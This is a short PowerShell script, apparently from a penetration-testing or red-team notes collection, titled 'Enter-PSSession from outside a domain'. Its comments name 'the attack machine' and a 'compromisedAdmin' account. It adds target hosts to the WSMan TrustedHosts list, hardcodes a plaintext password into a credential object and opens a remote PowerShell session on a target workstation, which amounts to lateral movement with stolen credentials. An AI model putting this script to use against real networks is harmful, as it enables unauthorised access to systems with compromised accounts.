Enter-PSSession from outside a domain

E-PS_Outside.ps1

# Tell the attack machine to trust these hosts on a foreign domain
Set-Item WSMan:\localhost\Client\TrustedHosts -Value "ws01.example.com,sql02.example.com"

# Enter the credentials to use when connecting
$username = "example.com\compromisedAdmin"
$pass = "Luggage=12345"
$fancypass = ConvertTo-SecureString $pass -AsPlainText -Force
$dacred = New-Object System.Management.Automation.PSCredential ($userName, $fancypass)

# Connect!
Enter-PSSession -ComputerName ws01.example.com -Credential $dacred